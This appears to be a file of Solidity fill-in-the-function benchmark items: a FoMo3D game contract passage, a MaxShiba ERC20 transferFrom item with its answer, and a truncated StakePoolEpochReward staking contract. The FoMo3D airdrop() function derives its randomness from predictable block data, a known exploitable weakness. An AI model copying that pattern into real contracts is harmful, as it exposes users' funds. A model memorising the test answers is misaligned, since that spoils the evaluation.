leader bool to true _eventData_.compressedData = _eventData_.compressedData + 100; } // manage airdrops if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { // gib muni uint256 _prize; if (_eth >= 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 2 prize was won _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { // calculate prize and give it to winner _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); // adjust airDropPot airDropPot_ = (airDropPot_).sub(_prize); // let event know a tier 3 prize was won _eventData_.compressedData += 300000000000000000000000000000000; } // set airdrop happened bool to true _eventData_.compressedData += 10000000000000000000000000000000; // let event know how much was won _eventData_.compressedData += _prize * 1000000000000000000000000000000000; // reset air drop tracker airDropTracker_ = 0; } } // store the air drop tracker number (number of buys since last airdrop) _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); // update player plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); // update round round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); // distribute eth _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); // call end tx function to fire end tx event. endTx(_pID, _team, _eth, _keys, _eventData_); } } //============================================================================== // _ _ | _ | _ _|_ _ _ _ . // (_(_||(_|_||(_| | (_)| _\ . //============================================================================== /** * @dev calculates unmasked earnings (just calculates, does not update mask) * @return earnings in wei format */ function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } /** * @dev returns the amount of keys you would get given an amount of eth. * -functionhash- 0xce89c80c * @param _rID round ID you want price for * @param _eth amount of eth sent in * @return keys received */ function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else // rounds over. need keys for new round return ( (_eth).keys() ); } /** * @dev returns current eth price for X keys. * -functionhash- 0xcf808000 * @param _keys number of keys desired (in 18 decimal format) * @return amount of eth needed to send */ function iWantXKeys(uint256 _keys) public view returns(uint256) { // setup local rID uint256 _rID = rID_; // grab time uint256 _now = now; // are we in a round? if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else // rounds over. need price for new round return ( (_keys).eth() ); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== /** * @dev receives name/player info from names contract */ function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if (pIDxAddr_[_addr] != _pID) pIDxAddr_[_addr] = _pID; if (pIDxName_[_name] != _pID) pIDxName_[_name] = _pID; if (plyr_[_pID].addr != _addr) plyr_[_pID].addr = _addr; if (plyr_[_pID].name != _name) plyr_[_pID].name = _name; if (plyr_[_pID].laff != _laff) plyr_[_pID].laff = _laff; if (plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev receives entire player name list */ function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm.."); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } /** * @dev gets existing or registers new pID. use this when a player may be new * @return pID */ function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; // if player is new to this version of fomo3d if (_pID == 0) { // grab their player ID, name and last aff ID, from player names contract _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); // set up player account pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != "") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; // set the new player bool to true _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } /** * @dev checks to make sure user picked a valid team. if not sets team * to default (sneks) */ function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } /** * @dev decides if round end needs to be run & new round started. and if * player unmasked earnings from previously played rounds need to be moved. */ function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { // if player has played a previous round, move their unmasked earnings // from that round to gen vault. if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); // update player's last round played plyr_[_pID].lrnd = rID_; // set the joined round bool to true _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } /** * @dev ends the round. manages paying out winner/splitting up pot */ function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { // setup local rID uint256 _rID = rID_; // grab our winning player and team id's uint256 _winPID = round_[_rID].plyr; uint256 _winTID = round_[_rID].team; // grab our pot amount uint256 _pot = round_[_rID].pot; // calculate our winner share, community rewards, gen share, // p3d share, and amount reserved for next pot uint256 _win = (_pot.mul(48)) / 100; uint256 _com = (_pot.mul(20)) / 100; uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100; uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100; uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d); // calculate ppt for round mask uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000); if (_dust > 0) { _gen = _gen.sub(_dust); _res = _res.add(_dust); } // pay our winner plyr_[_winPID].win = _win.add(plyr_[_winPID].win); // community rewards admin1.transfer(_com.sub(_com / 2)); admin2.transfer(_com / 2); round_[_rID].pot = _pot.add(_p3d); // distribute gen portion to key holders round_[_rID].mask = _ppt.add(round_[_rID].mask); // prepare event data _eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000); _eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000); _eventData_.winnerAddr = plyr_[_winPID].addr; _eventData_.winnerName = plyr_[_winPID].name; _eventData_.amountWon = _win; _eventData_.genAmount = _gen; _eventData_.P3DAmount = _p3d; _eventData_.newPot = _res; // start next round rID_++; _rID++; round_[_rID].strt = now; round_[_rID].end = now.add(rndInit_).add(rndGap_); round_[_rID].pot = _res; return(_eventData_); } /** * @dev moves any unmasked earnings to gen vault. updates earnings mask */ function updateGenVault(uint256 _pID, uint256 _rIDlast) private { uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast); if (_earnings > 0) { // put in gen vault plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); // zero out their earnings by updating mask plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } /** * @dev updates round timer based on number of whole keys bought. */ function updateTimer(uint256 _keys, uint256 _rID) private { // grab time uint256 _now = now; // calculate time based on number of keys bought uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); // compare to max and set new end time if (_newTime < (rndMax_).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = rndMax_.add(_now); } /** * @dev generates a random number between 0-99 and checks to see if thats * resulted in an airdrop win * @return do we have a winner? */ function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } /** * @dev distributes eth based on fees to com, aff, and p3d */ function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // pay 3% out to community rewards uint256 _p1 = _eth / 100; uint256 _com = _eth / 50; _com = _com.add(_p1); uint256 _p3d = 0; if (!address(admin1).call.value(_com.sub(_com / 2))()) { // This ensures Team Just cannot influence the outcome of FoMo3D with // bank migrations by breaking outgoing transactions. // Something we would never do. But that's not the point. // We spent 2000$ in eth re-deploying just to patch this, we hold the // highest belief that everything we create should be trustless. // Team JUST, The name you shouldn't have to trust. _p3d = _p3d.add(_com.sub(_com / 2)); } if (!address(admin2).call.value(_com / 2)()) { _p3d = _p3d.add(_com / 2); } _com = _com.sub(_p3d); // distribute share to affiliate uint256 _aff = _eth / 10; // decide what to do with affiliate share of fees // affiliate must not be self, and must have a name registered if (_affID != _pID && plyr_[_affID].name != '') { plyr_[_affID].aff = _aff.add(plyr_[_affID].aff); emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now); } else { _p3d = _p3d.add(_aff); } // pay out p3d _p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100)); if (_p3d > 0) { round_[_rID].pot = round_[_rID].pot.add(_p3d); // set up event data _eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount); } return(_eventData_); } /** * @dev distributes eth based on fees to gen and pot */ function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { // calculate gen share uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100; // toss 1% into airdrop pot uint256 _air = (_eth / 100); airDropPot_ = airDropPot_.add(_air); // update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share)) _eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100)); // calculate pot uint256 _pot = _eth.sub(_gen); // distribute gen share (thats what updateMasks() does) and adjust // balances for dust. uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); // add eth to pot round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); // set up event data _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } /** * @dev updates masks for round and player when keys are bought * @return dust left over */ function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { /* MASKING NOTES earnings masks are a tricky thing for people to wrap their minds around. the basic thing to understand here. is were going to have a global tracker based on profit per share for each round, that increases in relevant proportion to the increase in share supply. the player will have an additional mask that basically says "based on the rounds mask, my shares, and how much i've already withdrawn, how much is still owed to me?" */ // calc profit per key & round mask based on this buy: (dust goes to pot) uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); // calculate player earning from their own buy (only based on the keys // they just bought). & update player earnings mask uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); // calculate & return dust return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } /** * @dev adds up unmasked earnings, & vault earnings, sets them all to 0 * @return earnings in wei format */ function withdrawEarnings(uint256 _pID) private returns(uint256) { // update gen vault updateGenVault(_pID, plyr_[_pID].lrnd); // from vaults uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } /** * @dev prepares compression data and fires event for buy or reload tx's */ function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } //============================================================================== // (~ _ _ _._|_ . // _)(/_(_|_|| | | \/ . //====================/========================================================= /** upon contract deploy, it will be deactivated. this is a one time * use function that will activate the contract. we do this so devs * have time to set things up on the web end **/ bool public activated_ = false; function activate() public { // only team just can activate require((msg.sender == admin1 || msg.sender == admin2), "only admin can activate"); // can only be ran once require(activated_ == false, "already activated"); // activate the contract activated_ = true; // lets start first round rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } }
// Team allocation structures // 0 = whales // 1 = bears // 2 = sneks // 3 = bulls // Team allocation percentages // (F3D, P3D) + (Pot , Referrals, Community) // Referrals / Community rewards are mathematically designed to come from the winner's share of the pot. fees_[0] = F3Ddatasets.TeamFee(36,0); //50% to pot, 10% to aff, 3% to com, 0% to pot swap, 1% to air drop pot fees_[1] = F3Ddatasets.TeamFee(66,0); //20% to pot, 10% to aff, 3% to com, 0% to pot swap, 1% to air drop pot fees_[2] = F3Ddatasets.TeamFee(59,0); //27% to pot, 10% to aff, 3% to com, 0% to pot swap, 1% to air drop pot fees_[3] = F3Ddatasets.TeamFee(46,0); //40% to pot, 10% to aff, 3% to com, 0% to pot swap, 1% to air drop pot // how to split up the final pot based on which team was picked // (F3D, P3D) potSplit_[0] = F3Ddatasets.PotSplit(7,0); //48% to winner, 25% to next round, 20% to com potSplit_[1] = F3Ddatasets.PotSplit(12,0); //48% to winner, 20% to next round, 20% to com potSplit_[2] = F3Ddatasets.PotSplit(22,0); //48% to winner, 10% to next round, 20% to com potSplit_[3] = F3Ddatasets.PotSplit(27,0); //48% to winner, 5% to next round, 20% to com
constructor() public
// (team => fees) pot split distribution by team //============================================================================== // _ _ _ __|_ _ __|_ _ _ . // (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy) //============================================================================== constructor() public
36956
MaxShiba
transferFrom
contract MaxShiba is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { name = "Max Shiba"; symbol = "maxSHIB"; decimals = 18; _totalSupply = 1000000000000000000000000000000; balances[msg.sender] = 1000000000000000000000000000000; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> } }
contract MaxShiba is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { name = "Max Shiba"; symbol = "maxSHIB"; decimals = 18; _totalSupply = 1000000000000000000000000000000; balances[msg.sender] = 1000000000000000000000000000000; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } <FILL_FUNCTION> }
balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true;
function transferFrom(address from, address to, uint tokens) public returns (bool success)
function transferFrom(address from, address to, uint tokens) public returns (bool success)
88218
StakePoolEpochReward
initialize
contract StakePoolEpochReward is IStakePoolEpochReward { using SafeMath for uint256; uint256 public override version; /* ========== DATA STRUCTURES ========== */ struct UserInfo { uint256 amount; uint256 lastSnapshotIndex; uint256 rewardEarned; uint256 epochTimerStart; } struct Snapshot { uint256 time; uint256 rewardReceived; uint256 rewardPerShare; } /* ========== STATE VARIABLES ========== */ address public epochController; address public rewardToken; uint256 public withdrawLockupEpochs; uint256 public rewardLockupEpochs; mapping(address => UserInfo) public userInfo; Snapshot[] public snapshotHistory; address public override pair; address public rewardFund; address public timelock; address public controller; uint256 public balance; uint256 private _unlocked = 1; bool private _initialized = false; constructor(address _controller, uint256 _version) { controller = _controller; timelock = msg.sender; version = _version; Snapshot memory genesisSnapshot = Snapshot({time: block.number, rewardReceived: 0, rewardPerShare: 0}); snapshotHistory.push(genesisSnapshot); } modifier lock() { require(_unlocked == 1, "StakePoolEpochReward: LOCKED"); _unlocked = 0; _; _unlocked = 1; } modifier onlyTimeLock() { require(msg.sender == timelock, "StakePoolEpochReward: !timelock"); _; } modifier onlyEpochController() { require(msg.sender == epochController, "StakePoolEpochReward: !epochController"); _; } modifier updateReward(address _account) { if (_account != address(0)) { UserInfo storage user = userInfo[_account]; user.rewardEarned = earned(_account); user.lastSnapshotIndex = latestSnapshotIndex(); } _; } // called once by the factory at time of deployment function initialize( address _pair, address _rewardFund, address _timelock, address _epochController, address _rewardToken, uint256 _withdrawLockupEpochs, uint256 _rewardLockupEpochs ) external {<FILL_FUNCTION_BODY> } /* ========== GOVERNANCE ========== */ function setEpochController(address _epochController) external override lock onlyTimeLock { epochController = _epochController; } function setLockUp(uint256 _withdrawLockupEpochs, uint256 _rewardLockupEpochs) external override lock onlyTimeLock { require(_withdrawLockupEpochs >= _rewardLockupEpochs && _withdrawLockupEpochs <= 56, "_withdrawLockupEpochs: out of range"); // <= 2 week withdrawLockupEpochs = _withdrawLockupEpochs; rewardLockupEpochs = _rewardLockupEpochs; } function allocateReward(uint256 _amount) external override lock onlyEpochController { require(_amount > 0, "StakePoolEpochReward: Cannot allocate 0"); uint256 _before = IERC20(rewardToken).balanceOf(address(rewardFund)); TransferHelper.safeTransferFrom(rewardToken, msg.sender, rewardFund, _amount); if (balance > 0) { uint256 _after = IERC20(rewardToken).balanceOf(address(rewardFund)); _amount = _after.sub(_before); // Create & add new snapshot uint256 _prevRPS = getLatestSnapshot().rewardPerShare; uint256 _nextRPS = _prevRPS.add(_amount.mul(1e18).div(balance)); Snapshot memory _newSnapshot = Snapshot({time: block.number, rewardReceived: _amount, rewardPerShare: _nextRPS}); emit AllocateReward(block.number, _amount); snapshotHistory.push(_newSnapshot); } } function allowRecoverRewardToken(address _token) external view override returns (bool) { if (rewardToken == _token) { // do not allow to drain reward token if less than 1 months after pool ends if (block.timestamp < (getLatestSnapshot().time + 7 days)) { return false; } } return true; } // =========== Epoch getters function epoch() public view override returns (uint256) { return IEpochController(epochController).epoch(); } function nextEpochPoint() external view override returns (uint256) { return IEpochController(epochController).nextEpochPoint(); } function nextEpochLength() external view override returns (uint256) { return IEpochController(epochController).nextEpochLength(); } function nextEpochAllocatedReward() external view override returns (uint256) { return IEpochController(epochController).nextEpochAllocatedReward(address(this)); } // =========== Snapshot getters function latestSnapshotIndex() public view returns (uint256) { return snapshotHistory.length.sub(1); } function getLatestSnapshot() internal view returns (Snapshot memory) { return snapshotHistory[latestSnapshotIndex()]; } function getLastSnapshotIndexOf(address _account) public view returns (uint256) { return userInfo[_account].lastSnapshotIndex; } function getLastSnapshotOf(address _account) internal view returns (Snapshot memory) { return snapshotHistory[getLastSnapshotIndexOf(_account)]; } // =========== _account getters function rewardPerShare() public view returns (uint256) { return getLatestSnapshot().rewardPerShare; } function earned(address _account) public view override returns (uint256) { uint256 latestRPS = getLatestSnapshot().rewardPerShare; uint256 storedRPS = getLastSnapshotOf(_account).rewardPerShare; UserInfo memory user = userInfo[_account]; return user.amount.mul(latestRPS.sub(storedRPS)).div(1e18).add(user.rewardEarned); } function canWithdraw(address _account) external view returns (bool) { return userInfo[_account].epochTimerStart.add(withdrawLockupEpochs) <= epoch(); } function canClaimReward(address _account) external view returns (bool) { return userInfo[_account].epochTimerStart.add(rewardLockupEpochs) <= epoch(); } function unlockWithdrawEpoch(address _account) public view override returns (uint256) { return userInfo[_account].epochTimerStart.add(withdrawLockupEpochs); } function unlockRewardEpoch(address _account) public view override returns (uint256) { return userInfo[_account].epochTimerStart.add(rewardLockupEpochs); } /* ========== MUTATIVE FUNCTIONS ========== */ function stake(uint256 _amount) external override lock { IValueLiquidPair(pair).transferFrom(msg.sender, address(this), _amount); _stakeFor(msg.sender); } function stakeFor(address _account) external override lock { require(IStakePoolController(controller).isWhitelistStakingFor(msg.sender), "StakePoolEpochReward: Invalid sender"); _stakeFor(_account); } function _stakeFor(address _account) internal { uint256 _amount = IValueLiquidPair(pair).balanceOf(address(this)).sub(balance); require(_amount > 0, "StakePoolEpochReward: Invalid balance"); balance = balance.add(_amount); UserInfo storage user = userInfo[_account]; user.epochTimerStart = epoch(); // reset timer user.amount = user.amount.add(_amount); emit Deposit(_account, _amount); } function removeStakeInternal(uint256 _amount) internal { UserInfo storage user = userInfo[msg.sender]; uint256 _epoch = epoch(); require(user.epochTimerStart.add(withdrawLockupEpochs) <= _epoch, "StakePoolEpochReward: still in withdraw lockup"); require(user.amount >= _amount, "StakePoolEpochReward: invalid withdraw amount"); _claimReward(false); balance = balance.sub(_amount); user.epochTimerStart = _epoch; // reset timer user.amount = user.amount.sub(_amount); } function withdraw(uint256 _amount) public override lock { removeStakeInternal(_amount); IValueLiquidPair(pair).transfer(msg.sender, _amount); emit Withdraw(msg.sender, _amount); } function exit() external { withdraw(userInfo[msg.sender].amount); } function _claimReward(bool _lockChecked) internal updateReward(msg.sender) { UserInfo storage user = userInfo[msg.sender]; uint256 _reward = user.rewardEarned; if (_reward > 0) { if (_lockChecked) { uint256 _epoch = epoch(); require(user.epochTimerStart.add(rewardLockupEpochs) <= _epoch, "StakePoolEpochReward: still in reward lockup"); user.epochTimerStart = _epoch; // reset timer } user.rewardEarned = 0; // Safe reward transfer, just in case if rounding error causes pool to not have enough reward amount uint256 _rewardBalance = IERC20(rewardToken).balanceOf(rewardFund); uint256 _paidAmount = _rewardBalance > _reward ? _reward : _rewardBalance; IStakePoolRewardFund(rewardFund).safeTransfer(rewardToken, msg.sender, _paidAmount); emit PayRewardPool(0, rewardToken, msg.sender, _reward, _reward, _paidAmount); } } function claimReward() public override { _claimReward(true); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw() external override lock { require(IStakePoolController(controller).isAllowEmergencyWithdrawStakePool(address(this)), "StakePoolEpochReward: Not allow emergencyWithdraw"); UserInfo storage user = userInfo[msg.sender]; uint256 amount = user.amount; balance = balance.sub(amount); user.amount = 0; IValueLiquidPair(pair).transfer(msg.sender, amount); } function removeLiquidity( address provider, address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) public override lock returns (uint256 amountA, uint256 amountB) { require(IStakePoolController(controller).isWhitelistStakingFor(provider), "StakePoolEpochReward: Invalid provider"); removeStakeInternal(liquidity); IValueLiquidPair(pair).approve(provider, liquidity); emit Withdraw(msg.sender, liquidity); (amountA, amountB) = IValueLiquidProvider(provider).removeLiquidity(address(pair), tokenA, tokenB, liquidity, amountAMin, amountBMin, to, deadline); } function removeLiquidityETH( address provider, address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external override lock returns (uint256 amountToken, uint256 amountETH) { require(IStakePoolController(controller).isWhitelistStakingFor(provider), "StakePoolEpochReward: Invalid provider"); removeStakeInternal(liquidity); IValueLiquidPair(pair).approve(provider, liquidity); emit Withdraw(msg.sender, liquidity); (amountToken, amountETH) = IValueLiquidProvider(provider).removeLiquidityETH( address(pair), token, liquidity, amountTokenMin, amountETHMin, to, deadline ); } function removeLiquidityETHSupportingFeeOnTransferTokens( address provider, address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external override lock returns (uint256 amountETH) { require(IStakePoolController(controller).isWhitelistStakingFor(provider), "StakePoolEpochReward: Invalid provider"); removeStakeInternal(liquidity); IValueLiquidPair(pair).approve(provider, liquidity); emit Withdraw(msg.sender, liquidity); amountETH = IValueLiquidProvider(provider).removeLiquidityETHSupportingFeeOnTransferTokens( address(pair), token, liquidity, amountTokenMin, amountETHMin, to, deadline ); } }
contract StakePoolEpochReward is IStakePoolEpochReward { using SafeMath for uint256; uint256 public override version; /* ========== DATA STRUCTURES ========== */ struct UserInfo { uint256 amount; uint256 lastSnapshotIndex; uint256 rewardEarned; uint256 epochTimerStart; } struct Snapshot { uint256 time; uint256 rewardReceived; uint256 rewardPerShare; } /* ========== STATE VARIABLES ========== */ address public epochController; address public rewardToken; uint256 public withdrawLockupEpochs; uint256 public rewardLockupEpochs; mapping(address => UserInfo) public userInfo; Snapshot[] public snapshotHistory; address public override pair; address public rewardFund; address public timelock; address public controller; uint256 public balance; uint256 private _unlocked = 1; bool private _initialized = false; constructor(address _controller, uint256 _version) { controller = _controller; timelock = msg.sender; version = _version; Snapshot memory genesisSnapshot = Snapshot({time: block.number, rewardReceived: 0, rewardPerShare: 0}); snapshotHistory.push(genesisSnapshot); } modifier lock() { require(_unlocked == 1, "StakePoolEpochReward: LOCKED"); _unlocked = 0; _; _unlocked = 1; } modifier onlyTimeLock() { require(msg.sender == timelock, "StakePoolEpochReward: !timelock"); _; } modifier onlyEpochController() { require(msg.sender == epochController, "StakePoolEpochReward: !epochController"); _; } modifier updateReward(address _account) { if (_account != address(0)) { UserInfo storage user = userInfo[_account]; user.rewardEarned = earned(_account); user.lastSnapshotIndex = latestSnapshotIndex(); } _; } <FILL_FUNCTION> /* ========== GOVERNANCE ========== */ function setEpochController(address _epochController) external override lock onlyTimeLock { epochController = _epochController; } function setLockUp(uint256 _withdrawLockupEpochs, uint256 _rewardLockupEpochs) external override lock onlyTimeLock { require(_withdrawLockupEpochs >= _rewardLockupEpochs && _withdrawLockupEpochs <= 56, "_withdrawLockupEpochs: out of range"); // <= 2 week withdrawLockupEpochs = _withdrawLockupEpochs; rewardLockupEpochs = _rewardLockupEpochs; } function allocateReward(uint256 _amount) external override lock onlyEpochController { require(_amount > 0, "StakePoolEpochReward: Cannot allocate 0"); uint256 _before = IERC20(rewardToken).balanceOf(address(rewardFund)); TransferHelper.safeTransferFrom(rewardToken, msg.sender, rewardFund, _amount); if (balance > 0) { uint256 _after = IERC20(rewardToken).balanceOf(address(rewardFund)); _amount = _after.sub(_before); // Create & add new snapshot uint256 _prevRPS = getLatestSnapshot().rewardPerShare; uint256 _nextRPS = _prevRPS.add(_amount.mul(1e18).div(balance)); Snapshot memory _newSnapshot = Snapshot({time: block.number, rewardReceived: _amount, rewardPerShare: _nextRPS}); emit AllocateReward(block.number, _amount); snapshotHistory.push(_newSnapshot); } } function allowRecoverRewardToken(address _token) external view override returns (bool) { if (rewardToken == _token) { // do not allow to drain reward token if less than 1 months after pool ends if (block.timestamp < (getLatestSnapshot().time + 7 days)) { return false; } } return true; } // =========== Epoch getters function epoch() public view override returns (uint256) { return IEpochController(epochController).epoch(); } function nextEpochPoint() external view override returns (uint256) { return IEpochController(epochController).nextEpochPoint(); } function nextEpochLength() external view override returns (uint256) { return IEpochController(epochController).nextEpochLength(); } function nextEpochAllocatedReward() external view override returns (uint256) { return IEpochController(epochController).nextEpochAllocatedReward(address(this)); } // =========== Snapshot getters function latestSnapshotIndex() public view returns (uint256) { return snapshotHistory.length.sub(1); } function getLatestSnapshot() internal view returns (Snapshot memory) { return snapshotHistory[latestSnapshotIndex()]; } function getLastSnapshotIndexOf(address _account) public view returns (uint256) { return userInfo[_account].lastSnapshotIndex; } function getLastSnapshotOf(address _account) internal view returns 